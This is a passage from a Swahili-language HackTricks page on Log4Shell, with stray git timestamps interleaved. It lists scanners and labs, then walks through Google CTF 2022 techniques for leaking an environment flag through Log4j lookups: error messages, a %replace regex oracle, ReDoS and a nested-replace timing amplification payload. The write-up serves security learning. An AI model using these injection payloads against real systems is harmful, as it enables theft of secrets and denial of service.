* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Tafuta maktaba za hatari za ndani
2021-12-24 01:52:37 +00:00
### Maabara za Jaribio
2021-12-24 01:52:37 +00:00
* [**Mashine ya HTB ya LogForge**](https://app.hackthebox.com/tracks/UHC-track)
* [**Chumba cha Solar cha Jaribio la Try Hack Me**](https://tryhackme.com/room/solar)
2022-02-02 15:35:20 +00:00
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
2021-12-24 01:52:37 +00:00
## Baada ya Kutumia Log4Shell
2022-08-10 14:32:58 +00:00
Katika [**makala ya CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezea vizuri jinsi inavyoweza **kufanyika** kutumia baadhi ya vipengele vya **Log4J**.
2022-08-10 14:32:58 +00:00
2024-02-11 02:13:58 +00:00
Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia:
2022-08-10 14:32:58 +00:00
> Kutoka toleo la 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Utafutaji katika usanidi bado unafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI katika usanidi sasa unahitaji kuwezeshwa kwa uwazi.
2022-08-10 14:32:58 +00:00
> Kutoka toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya utafutaji katika usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa kiwango cha juu tu unatatuliwa, na utafutaji wowote uliojumuishwa haurudishwi.
2022-08-10 14:32:58 +00:00
Hii inamaanisha kwamba kwa chaguo-msingi huwezi **kutumia shambulio lolote la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umeweka usanidi huo.
2022-08-10 14:32:58 +00:00
Kwa mfano, katika CTF hiyo ilikuwa imeboreshwa katika faili log4j2.xml:
2022-08-10 14:32:58 +00:00
```xml
<Console name="Console" target="SYSTEM_ERR">
2024-02-11 02:13:58 +00:00
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
2022-08-10 14:32:58 +00:00
</Console>
```
2024-02-11 02:13:58 +00:00
### Utafutaji wa Mazingira
2022-08-10 14:32:58 +00:00
Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), muhusika alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya pembejeo.\
Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo ya awali**](jndi-java-naming-and-directory-interface-and-log4shell.md#uthibitisho) kuna njia tofauti za kupata mazingira ya pembejeo, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.
2022-08-10 14:32:58 +00:00
### Kuchota katika Mifano
2022-08-10 14:32:58 +00:00
Katika CTF, **haukuweza kupata stderr** ya programu ya java kutumia log4J, lakini **makosa ya Log4J huletwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa inaonyeshwa:
2022-08-10 14:32:58 +00:00
![](<../../.gitbook/assets/image (1020).png>)
2022-08-10 14:32:58 +00:00
### Mifano ya Kubadilisha Makosa
2022-08-10 14:32:58 +00:00
Tu kutaja, unaweza pia kuingiza [**mifano mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha makosa ambayo yataorodheshwa kwa `stdout`. Kwa mfano:
2022-08-10 14:32:58 +00:00
![](<../../.gitbook/assets/image (680).png>)
2022-08-10 14:32:58 +00:00
Hii haikuonekana kuwa na manufaa kwa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama vile kugundua.
2022-08-10 14:32:58 +00:00
### Mifano ya Kubadilisha Makosa ya Regex
2022-08-10 14:32:58 +00:00
Hata hivyo, ni rahisi kutumia baadhi ya **mifano ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **kulingana na wakati**.
2022-08-10 14:32:58 +00:00
* **Utafutaji wa binary kupitia ujumbe wa makosa**
2022-08-10 14:32:58 +00:00
Mfano wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\
Kwa kufanya tabia hii unaweza kufanya ubadilishaji **kusababisha kosa ikiwa regex ililinganishwa** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:
2022-08-10 14:32:58 +00:00
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
2024-02-11 02:13:58 +00:00
* **Kulingana na Wakati**
2022-08-10 14:32:58 +00:00
Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **muda wa kusubiri** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **muda wa kusubiri** katika CTF hiyo.
2022-08-10 14:32:58 +00:00
Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya muda katika majibu:
2022-08-10 14:46:00 +00:00
> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu inaweza kuwa sio sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
2022-08-10 14:46:00 +00:00
>
> Kubadilisha `#` nyingi kutasababisha muda wa sekunde 10 wa programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500)
2022-08-10 14:46:00 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2021-12-24 01:52:37 +00:00
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
2021-12-26 17:34:46 +00:00
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
2022-08-10 14:47:15 +00:00
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
2022-04-28 16:01:33 +00:00
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 14:45:32 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>